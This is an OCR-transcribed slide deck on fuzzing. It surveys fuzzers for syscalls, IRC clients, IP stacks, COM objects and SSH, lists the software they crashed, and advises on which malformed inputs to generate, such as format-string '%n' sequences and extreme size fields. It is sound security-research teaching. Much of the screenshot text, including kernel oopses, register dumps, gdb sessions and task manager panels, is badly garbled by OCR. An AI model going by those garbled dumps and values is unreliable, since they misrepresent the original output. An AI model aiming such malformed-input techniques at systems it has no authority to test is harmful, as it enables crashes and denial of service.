Dvips

Php 5.1.1

IE 6

OS X WebKit (used safari)



006 Terminal — zsh — 137x20

./rmail2: data =
Armail2: ERROR: Corrupted section header size =

JrmailZ: data

JTfuzz.sh: Line 70 1941 Segmentotion foult file ./rmailZ e The APP"CEtiDI‘I “totem" has quit
LJrmailg: data
Srmail2: ELF 32-bit L5EB executoble, Intel 80386, version 1 (FreeBSDY, for FreeBSD 4.9.2, unexpe‘:te‘"y'

JrmailZ: ELF 32-bit LSE executable, Intel 88386, werzion 1, sztatically linked, stripped
LrmailZ: ELF 32-bit L5SB executoble, Intel 88386, version 1 (FreeBSD), for FreeB3D 4.9.2, N : : x
./Tmailz: ELF 32-bit LSB executable, (FreeB3D), dynamically linked {uses shared libs), str fix it. Or you can restart the application right now.
Srmail2: ELF 32-bit L5EB executoble, Intel 80386, version 1 (FreeBSD), for FreeBSD 4.9.2,
LArmailZ: ELF 32-bit LSE executoble, Intel 88386, (FreeBSD), stotically linked {uses share
SrmailZd: ERROR: Corrupted section header size

You can inform the developers of what happened to help them

Restart Application X Close ‘ Inform Dewvelopears

LSrmailZ: ELF LSE executoble, Intel 88386, (FreeBSD)
SrmailZ: ELF 32-bit L5B executoble, version 1 {FreeBSD), FreeBSD-style, statically linked {uzes shared libs), stripped

JrmailZ: ERROR: Corrupted section header szize

LrmailZ: ELF 32-bit L5SB executoble, Intel 88386, version 1 (FreeBSD}, for FreeBSD 4.9.2, dyvnamically linked {uses shared libs), stripped
LrmailZ:s data m

SrmailZ: ELF 32-bit L5B executoble, Intel 80386, version 1 (FreeBSD), dvnomically linked (uses shared libs), stripped A
AL v
mack i
ERRORT LOEYICE [OO0L7,7JJ: A1 _GEIPAGE: RUFEE [Ege CorT U _
EFROR: {device loop(7,7)): WT GETPAGE: wtree page corrupt Warning
EFROR: i{device loop(7,7)3: ®T GETPAGE: =tree page corrupt i
BUG at jFS_HtPge+c:?51 azzert { BT _STACK FULL (btstack)) The following disk images failed to mount
kernel BUG at jfs_wtree,c:?5l! i
invalid operand: QOO0 Image Reason
CPL ¢ 0 xchat2.dmg codec overrun

EIP: 00102 [ <dchedc0l:] Mot ftainted

EFLAGS: 00010286

egx: D000003a ebw: 00000002 eck: dacacOll  edx: debldZel

esi: dathZZ2E0 edii O0ebO00s ebp: OOOO0000  espi: dicadbcd

d=: 0018 es: 0018 s=3 0018

Process mount (pid: 6098, stackpage=d3cadOo0) (
mtack: decQ0sbe docO0shZ QO000Zef decl0EDs 0002dcls dicadokD dddbbhan o

oK )

ddbablls 00000000 didbabisa0 00000000 QOOODOO0 Q000001 OO0OD00Z G3Tezzo0
d3feZ2dc 00000000 QOOR0000 FHHFFFfF dafsZ200 00000000 QR0O0000 Q000000

Call Trace: [<dccl08he> ] [<docO0BhZ:>] [<docliE5as] [<c0Zcdids>] [<dohedlac:]
[<c015344053 ] [<deche0l70s] [<cO138d37>] [<c01398bf>] [<«cOlZeced:>] [<dche(33f:]
[<dche00z0>] [<c01Zadll>] [<dohfE3597:] [<dchbe0330:] [<dohecatc:] [<dcheEff7:]
[<oche2791>] [<debdf?7ar] [<docO0ff0:] [<c0ldbcSb:>] [<docO0ffo:] [<docOOffo:]
[<oecO0ff0:] [<cOldcEbb>] [<docOOff0:] [<c013bf91>] [<docO0ffos:] [<cOlddboc:]
[<c014d883>] [<cOlddefh>] [<cOlddoibhs>] [<cOl0Ea593r]

Code: Of Db ef 02 b2 08 cO do 83 cd 10 5h 5o 24 70 8b 13 &89 e ff
g katrien® |




sysfuzz

*Trivial syscall() fuzzer

Randomly generates a syscall and
arguments

*Some systemcalls are ignored because
they break fuzzing (exit(), fork(), ...)
*Written in c

*By Ilja van Sprundel.

*Usually results in a kernel panic when
successtul



Stuff it broke

eSCO unixware
MacOS X
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SCO unixware after a reboot

X:/sbin/ckroot: INFD:
lease wait while the system is examined. This may take a few minutes,

X:dumpcheck: INFO:
hecking to see if you have a wvalid dump ...

X:dumpcheck: INFO: There iz a system dump Memory image in the sdevs/swap device.

Do you want to save it? (ys/ml> y

Do you want to =zave it on:

— low density 5.25" (36BR) diskettes
high density 5.25" (1.2M) diskettes
low density 3.5" (728K) diskettes
high density 3.5" (1.44M) diskettes
file [/dumpfilel
no, QUIT

b
oMpress dump (y/nl) ?

dump Will not be compressed
encrypt dump (ps/n) ?




ethereal's fuzz testing tool

Small shellscript

*Wrapper around editcap

*Written by Gerald Combs (author of
ethereal)

*Fuzzed more then 600 bugs in the
ethereal parsers so tar. (overtlows,
endless loops, NULL ptr deref, division by
0, ...)

*Could probably be used to break other
stuft aswell (such as tcpdump)



_-_: Ethereal:

enpa—sa—00020 = Mozilla Firefox o/ 0O =

Fil= Edit WView Go Bookmarks Tools Help

. = L '_,.
<1I:| - !__;r' - @ .__. t:_/l\[ |{@ http:/fwww ethereal.comfappnotes/enpa-sa-00020.html

x| @ G

¢ Getting Started |5 Latest Headlines

DETAILS

Description:
Our testing program has turned up several more security issues:

* The LDAP dissector could free static memory and crash. Versions affected: 0.8.5 to 0.10.11
+ The AgentX dissector could crash. Versions affected: 01010 to 0.10.11

# The 8023 dissector could go into an infinite loop. Versions affected: 0.8.16 to 0.10.11

+ The PER dissector could abort. Versions affected: 0.10.5 to 0.10.11

# The DHCP dissector could go into an infinite loop. Versions affected: 0.10.7 to 0.10.11

+ The BER dissector could abort or loop infinitely. Version affected: 0.10.11

* The MEGACO dissector could go into an infinite loop. Versions affected: 0.9.14 to 0.10.11

+ The GIOP dissector could dereference a null pointer. Versions affected: 0.8.20 to 0.10.11

# The SMB dissector was susceptible to a buffer overflow. Versions affected: 0.9.12 to 0.10.11
+ The WBXML could dereference a null pointer. Versions affected: 0101 to 01011

# The H1 dissector could go into an infinite loop. Versions affected: 0.8.15 to 0.10.11

+ The DOCSIS dissector could cause a crash. Versions affected: 0.9.13 to 0.1011

# The SMPP dissector could go into an infinite loop. Versions affected: 0101 to 0.10.11

+ SCTP graphs could crash. Version affected: 0.10.11

# The HTTP dissector could crash. Versians affected: 0.10.4 to 0.10.11

+ The SMB dissector could go into a large loop. Versions affected: 0.9.0 to 01011

+ The DCERPC dissector could crash. Versions affected: 0.9.16 to 0.10.11.

+ Several dissectors could crash while reassembling packets. Versions affected: 0.9.0 to 01011

Daone




Bed

*Small fuzzing framework
*Comes with some cool scripts
*Written in perl

By mjm & snake-byte



Stuff it broke

e - OmniHttpd 2.0.9

e - FtpXQ

e - TransSoft's Broker FIP Server 5.0
Evaluation Version

e - MeteorSoft Meteor FTP 1

e - Texas Imperial Software WFTPD



Simple plugin for bed

package bedmod::<INSERT NAME OF PLUGIN>;
# create a new instance of this object
sub new{}

# initialise some parameters
sub init{}

# how to quit ?
sub getQuit{}

# what to test without doing a login before ..mainly the login stuff *g*
sub getLoginarray {}

# which commands does this protocol know ?
sub getCommandarray {}

# what to send to login ? login procedure
sub getLogin{}

# here we can test everything
sub testMisc{ }
1;




irctfuzz

°Irc client fuzzer

*Small fake ircd

*Written in c

By Ilja van Sprundel

*Send a lot of very broken irclike data




Stuff it broke

*BitchX (1.1-final)
‘mIRC (6.16)

exchat (2.4.1)

ekvirc (3.2.0)

eircii (ircii-20040820)
*eggdrop (1.6.17)
*epic-4 (2.2)

'ninja (1.5.9prel?2)
eemech (2.8.5.1)
*Virc (2.0 rcH)
*TurboIRC (6)
eJeafchat (1.761)

*iRC (0.106)
econversation (2.14)
ecolloquy (2.0 (2D16))
esnak (5.0.2)

eIrcle (3.1.2)

eircat (2.0.3)

edarkbot (7£3)
ebersirc (2.2.13)
*Scrollz (1.9.5)
IM?2

*pirch98

etrillian (3.1)
emicrosoft comic chat (2.5)
eicechat (5.50)
ecentericq (4.20.0)
euirc (1.3)
eweechat (0.1.3)
erhapsody (0.25b)
ekmyirc (0.2.9)
ebnirc (0.2.9)
ebobot++ (2.1.8)
ekwirc (0.1.0)
enwirc (0.7.8)
ekopete (0.9.2)
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Program received signal SIESEG*.-', Segmentation fault,

On6f719dfd in 77 ()

{gch) 1 r

B CxE0aaR00 124915554 -
BCK Oxd017h3c0 1075296704

el Q=0 ]

b OxbSEFAT3e ~1254136002

espn Oubfffochalo Oxbfffochl0

ebp Dx308ceZE7 D A08Cce?BY

esi Onecosfcog -321454951

edi Ox53164916 1393965430

eip (b F7 1904 (6F 7190 F4 ! i i :

ef lags 0%10282 RA17E <jduck> overflow in all ircII based clients

Cs Q=23 25

= Oh 43 <ms> does that include bx? ;P

= U=Zh 43

B= Ox2h 43 .

fs (40 0 <jduck> yep

%3 } D=0 0

b)) quit * : O : _ £
The program is running. Exit angwas? (y arnd u ms has quit (Q_u.lt. [BX] Reserve your copy pf BitchX-1.1-final
katrien® pud for the ColecoVision today!)

fhumefilj?ir:ii—?ﬂﬂdﬂ%iﬂ

o katriend




1S1C
*]P Stack Integrity Checker
*Written in c
*Originally by Mike Frantzen now taken
over by Shu Xiao
*Package that contains several tools for
fuzzing a tcp/ip stack
*From the website:

ISIC is a suite of utilities to exercise the stability of an IP Stack and its component
stacks (TCP, UDP, ICMP et. al.) It generates piles of pseudo random packets of the
target protocol. The packets be given tendancies to conform to. Ie 50% of the
packets generated can have IP Options. 25% of the packets can be IP fragments...
But the percentages are arbitrary and most of the packet fields have a
configurable tendancy.

ISIC may break shit, melt your network, knock out your firewall, or singe
the fur off your cat



Stuff it broke

*[.ogging vulnerability in Checkpoint
Firewall-1 4.0

*]P Stack vulnerability in Checkpoint
Firewall-1 4.0

*Panic of Gauntlet 5.5 Beta

*[.ock up Gauntlet 5.5 Beta

*Frag DOS of Gauntlet 5.5 Beta
°.ock up of Gauntlet 5.0

*Remote exploit of Raptor 6.x



COMDbust

Com objects tfuzzing tool
*Binary only :(
*Written by Bret Mounet from @stake

*http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-bret-mounet.pdf
*Great in combination with oleview

*Finds a shocking amount of bugs in xpsp2 !
*From the author:

"This tool has been used by @stake consultant over the last year and has
identified serious vulnerabilities on all engagements within a few hours."

*Fuzzed about 15 bugs after a couple of hours of
playing with combust on a freshly installed xpsp?2
|



Combust + oleview = remote
code execution with IE

- T Hh Obwct HEW Hdp

“éCWWMWMRWMH:jNMWDWWﬂ%WM
@, DEGetBlockFmtNamesParar | A4kl Jsar e oy F pE7G 4F BE BRIR-4997FE42E536)
@, DEInsertTableFam Class g
—: é DglogsCom Clap% Reaistty | Implementation | &ctivation | Launch F'ermissiu:unsl Aooess F'ermissiu:unsl
- E3 DHTML Edit Control Safe f s = a
g, DXTFilter || (77 {649EEC1E -B579-4E8C-BE3E-4997FE426536} = DXTFilerBehavior
_"-"é'é‘z L -TFlt”’E"z’l-"E"""':'r i Implemented Cateqaries
@, DXTFiterCollection . {7DDY5B01-9882-11CF-OFAS-0DAANDGCA2CA}
g, DXTFikterFactory - {7DD95E02-9882-11CF-OFAS-008AN06C42C4} e
_+: é'i‘z Encoder Feature_ Segment - InprocServer32 [<no names=] = CWINDOW S system32 i dxtrans i
_+—-: @, Features Collection Class i InprocServer3? [ThreadingModel] = Apartrment
_t' e E'[%?!??Ea'fkﬂe_\jci?eg_.‘__j - ProglD = Behavior . Microsoft, DX TFRilterBehavior, 1 _:j
| 3
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C:“Documents and Settings“IljasDesktop~CB>
C:sDocuments and SettingssIljasDezktop~CH>
C:“~Documents and Settings:IljasDesktop-~CB>
C:sDocuments and SettingssIljasDezktop~CH>
C:“~Documents and Settings:IljasDesktop-~CB>
C:sDocuments and SettingssIljasDezktop~CH>
C:“~Documents and Settings:IljasDesktop-~CB>
C:sDocuments and SettingssIljasDezktop~CH>
C:“~Documents and Settings:IljasDesktop-~CB>
C:sDocuments and SettingssIljasDezktop~CH>
C:“~Documents and Settings:IljasDesktop-~CB>
C:sDocuments and SettingssIljasDezktop~CH>
C:“~Documents and Settings:IljasDesktop-~CB>
C:sDocuments and SettingssIljasDezktop~CH>
C:“~Documents and Settings:IljasDesktop-~CB>
C:sDocuments and SettingssIljasDezktop~CH>
C:Documents and SettingssIljasDesktop~CBX}combust —c {64%eecle-b579-4eB8c—hhih-—49
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fo >

IGHNORIMNG: Dizpatch Function UOID GetIDsOfMamesC(PTR »riid .PTR rgszMames _UIMNT
cHames .UI4 lcid .PITR wrgdispid »

L GHORING: Dispatch Function UQID Invoked{I4 dispidMember .PTR riid .UI4 Ilcid .
2 wFlags .PTR pdispparams .PFTR pvarResult .PTR pexcepinfo .PTR puArgEre >

rigzions:

BSTR Hame<{> UHKOWH EXCEPTION:-21472210088 : =
amen

I4 StatusC> EXCEPTIOM:Thiz obhject is not initialized.

UOID Power(—1 2 .l

UOID Power<d » ! ‘J

BOOL Power() = EXCEPTIOM:This i initialized.

BSTR Categoryl) = ERCEPTIOM:This i initialized.

Dispatch BSTR ClassIDC)» = EXCEPTIOM:This i initialized.

Dispatch USERDEFINED _Categoryl) =

Dizpatch USERDEFIHED _ClassID{> =

Dispatch Get UNMEMOWN UVideoEncoderInterfaceC>CRASHTttY
C:“Documents and Settings:IlljasDesktopsCBX*combust —c {bb538ct3—d?df—4b49-24379-63
4537625782

da Start! “é[— QLESCOM Obijeck Miewer ) CE & README - Motepad ”m Command Prompt




axfuzz

*Com object fuzzer and enumerator
eSimilar to COMBUST, but currently lacks
a lot of it's fuzzing features

Written in c

*Opensource !! (anyone wants to extend it
?)

*Written by Shane Hird.



Fuzzserver

*WAP client and gateway fuzzer
*Written in c
By Olly Whitehouse
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Welcome to the @stake Fuzzer Server, this small daemon is designed to Fuzz by
response Proxy/WAP Gateway servers and/or Web Browsers or other HTTP/WDP capable
clients. For an example of how this is designed to work, look at the diagram

contained within Figl.

Figl - Example of use

----Request[*]---> ----Request--->
[Client] [Proxy/WAP Gateway] [Fuzzer
Server]
<----Fuzzed <----Fuzzed
Response[**]- Response[**]-

* - Can be HTTP or WDP
** - Can be either HTML or WML response depending on gateway being tested

The server is configured at start to either deliver HTML/WML responses and the
size of the buffer which will be returned when the 'b' option is passed on a
client request.

This server has been tested and compiled on Win32 (NT4/2000) and Linux (2.2.4).
However it should port to most major operating systems without much hassle.
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Stress?2
*Kernel stresstest tool for freebsd
*WAY COOL !!!!
*Written in c
*By Peter Holm
*http://people.freebsd.org/~pho/
*Found piles and piles of bugs
From the README file:

“This is the kernel stress test suite. The purpose is to crash the

computer, by stressing selected parts of the kernel, thus exposing
inadequate error handling.

Do not run the tests as root.”



FrezES0 Kernel Shress Test Log — Mozilla Firefox o0 X

Filer Edit Miew Go Bookmarks Tools Help

<]:I - . o %‘ '[‘?;T ] http:/fpeople freebsd.orgf~pho/stressflogfindex.html j 3 Go ||_GL
*Getting Started ) Latest Headlines
Date CVS Date Problem Reference(s) =
2 i = hf L L
2005-08-03 07-31 16:00 ???}?..ﬁ:gﬁllcjtfﬁflils:egljjgrecursed on non-recursive mutex process lock @ console log
2005-07-31 07-30 05:48 panic: Most recently used by UFS dirhash console log
2005-07-27 07-27 05:41 Fatal trap 12: page fault while in kernel mode console log
2005-07-24 07-23 06:49 pty leak investigation. console log
2005-07-23 07-22 04:40 panic: sleeping thread (tid 100058) owns a non-sleepable lock console log
2005-07-22 07-22 04:40 Livelock. This is the third similar livelock with 6.0-BETA1. console log
2005-07-21 07-20 17:05 Livelock console log
2005-07-12 07-11 16:19 page fault a if ethersubr.c:284 console log
2005-07-10 07-09 06:03 "snaplk" livelock console log
2005-07-10 07-09 06:03 panic: handle written inodeblock: live inodedep console log
2005-07-08 07-08 14:53 page fault a if ethersubr.c:284 console log
2005-07-07 07-06 17:05 panic: wrong b_bufobj console log =
2005-07-07 07-06 17:05 Livelock console log
2005-07-07 07-06 17:05 panic: softdep setup inomapdep: found inode a fs softdep.c:1388 console log
2005-06-24 06-24 06.13 Panic: Memory modified after free 0xc216d500(256) val=cld5el00 @ ST R
0Oxc216d500 console 09
2005-06-11 06-11 06:49 panic: kmem malloc(868405248): kmem map too small: 33984512 total allocated console log
2005-05-30 05-29 16:27 panic: Duplicate free of item 0xc2ba5200 from zone 0xcl10429a0(Mbuf) console log
2005-05-28 05-26 06:09 panic: wrong b _bufobj 0xcldb0e20 should be 0xc2241a84 console log
2005-05-28 05-26 06:09 panic: mutex lockbuilder mtxpool not owned a kern lock.c:129 console log
2005-05-15 05-14 19:16 Page fault in ffs softdep.c:3391 console log
2005-05-13 05-10 17:58 Page fault in kern proc.c:736 console log
2005-05-12 05-10 17:58 Livelock console log
2005-05-07 05-05 04:56 panic: Lock GEOM topology not exclusively locked console log =i
&

I Cone

Constantly being updated:
http://people.freebsd.org/~pho/stress/log/index.html




bugger

e Ptrace() based fuzzer

*Written in c

By Michal Zalewski

*Tries to change data inside a client
program in subtle ways to trigger bugs in
the daemon it talks to.

*Proof of concept



SSHredder

*A set of sshlike greeting and KEXINIT
packets dumped in files (666 files)
*Developed by Rapid 7 Security

*Pretty cool if you combine it with mangle
and a perl/python script.



From their advisory:

The test cases combine several test groups of similarly
structured data:

o Invalid and/or incorrect SSH packet lengths ...

o Invalid and/or incorrect string lengths. ...

o Invalid and/or incorrect SSH padding and padding lengths.

o Invalid and/or incorrect strings, ...

o Invalid algorithm lists. ....
The individual tests in each group were combined systematically to
produce a test suite of 666 packets. A full permutation of every
test in each test group would have yielded a test suite that is too
large to distribute, so a representative sample of packets was

chosen from each group.



Fuzzed bugs in:

 F-Secure Corp. SSH servers and clients for UNIX v3.1.0 (build 11)
and earlier

*-Secure Corp. SSH for Windows v5.2 and earlier

*SSH Communications Security, Inc. SSH for Windows v3.2.2 and
earlier

SSH Communications Security, Inc. SSH for UNIX v3.2.2 and
earlier

*FiSSH SSH client for Windows v1.0A and earlier

eInterSoft Int'l, Inc. SecureNetTerm client for Windows v5.4.1 and
earlier

*NetComposite ShellGuard SSH client for Windows v3.4.6 and
earlier

*Pragma Systems, Inc. SecureShell SSH server for Windows v2 and
earlier

PuTTY SSH client for Windows v0.53 and earlier

*WinSCP SCP client for Windows v2.0.0 and earlier



sfuzz

*Socket fuzzer

*Creates some socket, and then does
some random socket operations on the
socket

Written in c

*By Ilja van Sprundel

*Watch out: might create a lot of bogus
files (sockets).

*Fuzzed a couple of bugs in the linux
kernel.



example

L et o O

A reguest_module[net-pf-5]: fork failed, errno 1

request module[net-pf-8]: fork failed, errno 1

request_module[net-pf-19]: fork failed, errno 1

Unable to handle kernel HULL pointer dereference at virtual address 00000015

printing eip:

doc3dd2h

¥pde = Q0000000

Oops: QOO0

CPU 0

EIF: 00103 [<doc3dd42h] Tainted: F

EFLAGS: Q0010246

gax s OOOOOO00  ebxi cadeHbbl ecw: ODODOO0E  eds: cl3sadds

esi: cl7Bbf0d edii cOdsadds ebp: bffffacs esp: cl/Bbedc

ds: 0018 est Q018  sst Q018

Process sfuzz (pid: 18580, stackpage=cl76h000)

mtack: ca820410 c176bf04 00000001 cOZ26e5445 ca820410 1760104 cl7ebefc QOOOOOOC0
o QoOOO004 c0lc/05e dbodfo0lf 00000005 00000001 40017055 ol /63000 QO0002EE

QOO0O000 40017059 cO1cBebY didfI98s Q0000000 Q0000000 1762000 Q0000000

Call Trace: [<cO265445>] [<c0lc708c>] [<c0lcEef8>] [<c0lcd975:] [<cO265dhE:]

[<c0108a93: ]

Code: b 8b 40 18 66 83 46 02 ff 08 85 ad 38 cO Bb B3 a8 00 00 00

7 katrient |




dhcptfuzz

*Dhcp fuzzer

*Written in perl, uses Net::Packet

*By Ilja van Sprundel

*Trivial to use, works like a simple dhcp
client

*Can't do client fuzzing yet

*Broke:
e Tcpdump in verbose mode (DoS)

e Dhcpdump (stacksmash, NULL ptr deref,
endless loop)



scapy

*Way more then just a fuzzer

*Written in python

By Phillipe Biondi

*Amazingly cool tool/script

(Lowlevel) Packet creation was never this
easy

 Support for a lot of network protocols
 Easy to add new protocols too it



More fuzzers

*Certainly not a complete list

*Fuzzers are hot these days, more and
more fuzzers(scripts) being created every
day

*Google is very helpful in finding
fuzzingtools and fuzzing scripts

*There are a shitload of private (or
commercial) fuzzers !



Build your own fuzzer



Choosing a language

*Scripting languages
- Often easier to write fuzzer in

- faster to write a fuzzer
- Fuzzing will likely be slower

- Most people recommend using a scripting
language
Something like python is usually better
for a fuzzer then c

 None the less, just choose a language
YOU feel comfortable with.



Smart fuzzers ?

Build dumb fuzzers

- You've no idea of the protocol/file layout/...

- Copy whatever you get and change something random

- Might run into problems if there are checksums
*Building intelligent fuzzers

- You're aware of the protocols/file layout/...

- Fuzz a lot of very different combinations

eIntelligent fuzzing usually gives more
results
*Intelligent fuzzers take longer to write.



What to fuzz
*Binary files:

- Movie files; .mov, .mpg, .avi, ....

- Executables; ELF/PE/COFF/a.out/mach-o, ...
- Ms office documents, Openoffice documents, ...
- Graphic files: jpg, gip, bmp, png, ...

- File systems: ext2/3, reiserts, ufs, xfs, zfs, ...

*Not binary files
- XML files

- Certain configuration files (like all the one's X
uses)



More stuff to fuzz

* Network protocol:

- Ftp

- Http

- Dhcp

- Ntp

- Rsync
*API's

- Systemcalls

- Some graphic libraries



Even more stuff to fuzz

eSuid files

- Arguments (switches and their values)
- Environment variables

- Signals

- Stdin

- Open a lot of file descriptors before you
fuzz a suids

- Any other input a suid can take



What to look for

e Size fields

e Strings

 Something that terminates a string/
binary piece of data/...

Something that marks a beginning of a
string/binary piece of data/...



~ Size fields
* Interesting sizes
- Something negative:
e -1
* 0x8000
o Oxfffffffl
e 0x80000000
e “-1337”

e Usually causes underindexing or integer overflow

- Size smaller then string for example

* You wouldn't believe how many programs ignore their own string
lengts and just happely copy your long string into a small static array

- Large positive number
o Ox7fff
o Oxffffffff (if it's unsigned)
o Ox7fffffff
* Might still cause integer overflow
* malloc(yoursize * sizeof(long))

- Very small numbers
* buffer[len - 2] = \0;



Strings

*Very long strings

- Might cause buffer overflows

*Something that contains %n%n%n...
- Might trigger a formatstring bug

- Use a lot of %n's

*Binary data in there
- “aaaaaa\0Obaaaaaaaaaaaa...”

- “abcd\r\O\xbb\xff ....”
- Consider: a = malloc(strlen(b) +1);
while(*b == 'a') b++; b++;

strcpy(a,b);



More strings

Empty strings
Lengths inside strings
Distcc: ARGVXXXXstring
XXXX: length in ascii in hex

ARGVFFFFaaaaaaa... caused a stackbased
bufferoverflow in ethereal distcc parsing

SQL injection

XSS

Directory traversal
Command injection



Something that terminates a
plece of data or marks it
begining

* example
_ I\OI

- NULL
-1

),
- '}
o

*Don't use them

*Put data after them anyway

*“Escape” them

*Use them more then once right atter each other



What to do

*Let rand() figure out some of it
- rand()/random()/arc4random()/whatever

- /dev/random
- /dev/urandom

- They're a godsend when fuzzing (also for
generating some data)

- Usually never stops fuzzing

*Sequential
- Just run down a list of what you want to
fuzz

— Usuallv finite (in time)



Mutation and generation

eData mutation
- Faster to code

- Usually shockingly effective

* Data generation
- Usually takes more time to code

- Can potentially cover a lot more codepaths



Annoying things you might
encounter

*Bug hiding behind another bug
*Userfriendlyness often gets in the way of
automatic fuzzing

*Memory leaks (if a program sucks up a
gig of ram in 20 minutes you won't be
fuzzing it for long)

*Slow programs

*You can only fuzz what's been configured
checksums/encryption/compression



Getting around some of the
anoying things:
*Bug hiding behind another bug:

- If it's opensource: try to fix the bug in the code
- If binary: try to patch the binary (depending on
the bug and binary this might not be trivial)

*Usertriendlyness often gets in the way of

automatic fuzzing
- Preload libraries to get rid of popups and the like

- Use something like applescript to click on stuft
automatically

* Memory leaks: basicly a bug behind a
potential bug, try to fix it
*Everything else: You're fucked :(



Getting around some of the
anoying things:
userfriendlyness
*On MacOSX there is applescript
e Sortof a natural script language (looks
like english)
*You can use it to automatically tell gui
apps what to do without clicking on
anything
*The following snippit is to tell IE to
reload a gopher page:
tell application "Internet Explorer"
repeat 1000000 times
OpenURL "gopher://127.0.0.1/"
delay 0.2

end repeat
end tell



Determining failing

* Crash
* Huge memory consumption

* Reboot
* Hangs (endless or very long loops)



Determining failing: Crash

e coredump
e Attach debugger

(gdb) r 3359333595935959399599995999959999599335939359333595
Starting program: fhome/iljaflane sassassasssassassassassass

Program recelved signal SIGSEGY, Segmentation fault,
Mblolelal in 77 ()

(gdb) |



While IE is parsing a malformed bmp

[ ZPL Dsage -

~PF Usage —

Determining failing: Huge
memory consumption

[ZRU L=age Histary —

— Tokals - i~ Pheesical Memarsy (k)
Handles SEG5 Tatal Z6161A
Thresds 337 | | Avaiable 5004
Processes 25 Swstem Cache 25692

= Commik Charge (k) - - kernel Memory (K} -
Tatal a7an3z | Takal 13136
Lirnik Q99328 | Paged O52a

| Peak BA0E0E | | Monpaged 3508 |

=10l x|

Processes: 25 |[CPUUsage: 15%

*[Commit Charge: 8581} 975M

After killing IE

File  Options  Wiew: Shut Down: Help

Applications ] Processes iperfurmance ; Metworking 1 Lisers l

..................................

mEPU dsage — i“CF‘LI sage History -

[~ PF Usage - i [~ Page File Usage Histary -

[~ Taokals - [~ Physical Memiory (k) -
Handles 5514 Tokal 261616
[ Threads 323 Byailable 194103
| Processes 25 | | System Cache 2092 |
= Commit Charge (K] —Kernel Memarsy () - 1
| Tokal 141128 Tokal 16212
| Lirmit S29344 Faged 12716
| Peak 54708 | | Monpaged 3496 |

Processes: 28 |[CPU Usage: 2%

 [Commit Charge; 141128K | B23344K




Determining failing: reboot

t¥¥ System recelved a SIGTRAP exceptilon ¥+
signal= 0x5, code= Oxd00, context= OxBOB52e3c

PC = OxB0240624, Vector = Oxd0O, SP = OxBO999chO
#+* |nexpected Console tx-ready interrupt #+*

PC = OxfffO3fcd, Vector = Ox500, SP = OxBOBbAcHC

System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fcl)
Copyright (c) 1999 by cisco Systems, Inc.
TAC:Home:SW:I0S:5pecials for info

(2600 platform with 49152 Kbytes of main memory

program load complete, entry point: OxBO00BO00, size: Ox345e6C
Self decompressing the 1mage :



' E;f Windows Task Manager

Determining failing: hangs

-0l x|

- File ‘Options  Wiew ShukDown  Help

&pplications ~ Processes IPerFDrmance i Metworking I Isers i

Image Name User Mame CPU | Mem Usage

| Llser Marme l CF‘I_II Mem Llsagel E:I:Flll:lrerle:{e ||]a I:II:I EJEIEI"'I" E

Image Mame
- explorer.exe ilja oo 5,664 K
, kaskmgr.exe ilja 03 3,724 K s
s baskigr e lia 03 374K
winampa, exe ilia ]| 256 K
MsMmsgs, exe ilja oo 1,580 K = g )
SERWUT~1,EXE ilja i 260 K IE |_|._.
; alg.exe LOCAL SERNICE (] o 4
! svchost.exe LOCAL SERMICE oo B1Z K
widfmgr, exe LAl SERNICE oo 0K
svchosk, exe METWORE SERVICE (] 1,224 K
swchost. exe METWORK SERVICE 00 808 K ] 1
sOlservr.exe METWORE SERVICE (i} 584k Cpu ].Oa.d. W].].]. nOt drop unt].].
Swystem Idle Process  SYSTEM oo 16K .
i Swskerm SHSTEM (] 20K k 11 I E
’ SIS Ee SYSTEM an 44 K yo u 1
Carss, BxE SYSTEM (i} 1,640 K
winlogon,exe SYSTEM oo Q00 k
SErvices . exe SYSTEM oo 1,488 K
lsass . exe SYSTEM oo 16 K
sychosk.exe SYSTEM (i} 3,996 K
| svchost, exe SYSTEM oo 1,132 K
svchost,exe SYSTEM oo F124 K
spoalsy, exe SYSTEM ] 420K
ServidDaemon.exe.  SYSTEM (i} 1,184 K
[ Show processes From all users o At
! !F.'n:u:esses: 24 |CF‘U sage: 100%: Commit Charge: 290192E | 829344k =




Seeing more then just a crash

*Try to attach a debugger before you start

to fuzz
- Gdb

- Ollydbg
- Windbg
- softice

*Disassemblers can also be very helptul
- IDA pro

- Objdump

*Try to keep track of all forked processes
and spawned threads



Seeing more then just a crash

e More usefull utilities
- Strace/ltrace

- Dumbug

°[.ook at logtiles:
- “User ftftfttf.8fc54000.0.0.4 doesn't exist”



Extending existing fuzzers

*Fuzzers never cover all the codepaths
Implementors ALWAYS forget something
e After adaptation you usually find new
cool Oday !



Conclusion

*Fuzzing is So00000000 €00l

*Huge timesaver (compared to manual
code audit or reverse engineering)
*Probably the most used method to find
bugs

*People can't write decent parsing code :)



Advertisement

(aluiti-System & [Internet EEJecurity [@ookbook)

http://www.miscmag.com/

Issue 3 contains an article about fuzzing.



Interesting links

*Violating Assumptions with Fuzzing
http://ieeexplore.ieee.org/iel5/8013/30742/01423963.pdf

(yvou have to pay ieee 20 bux for 5 pages of text,
greedy bastards!!!

*http://www.blackhat.com/presentations/bh-usa-02/bh-us-02-aitel-spike.ppt

*http://www.phenoelit.de/stuff/Shutup.pdf

*http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-sutton.pdf
swww.blackhat.com/presentations/bh-usa-03/bh-us-03-bret-mounet.pdf

*http://ilja.netric.org/tiles/tuzzers/

*http://www.immunitysec.com/downloads/advantages of block based analysis.pdf
swww.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v2.pdf



Questions ?



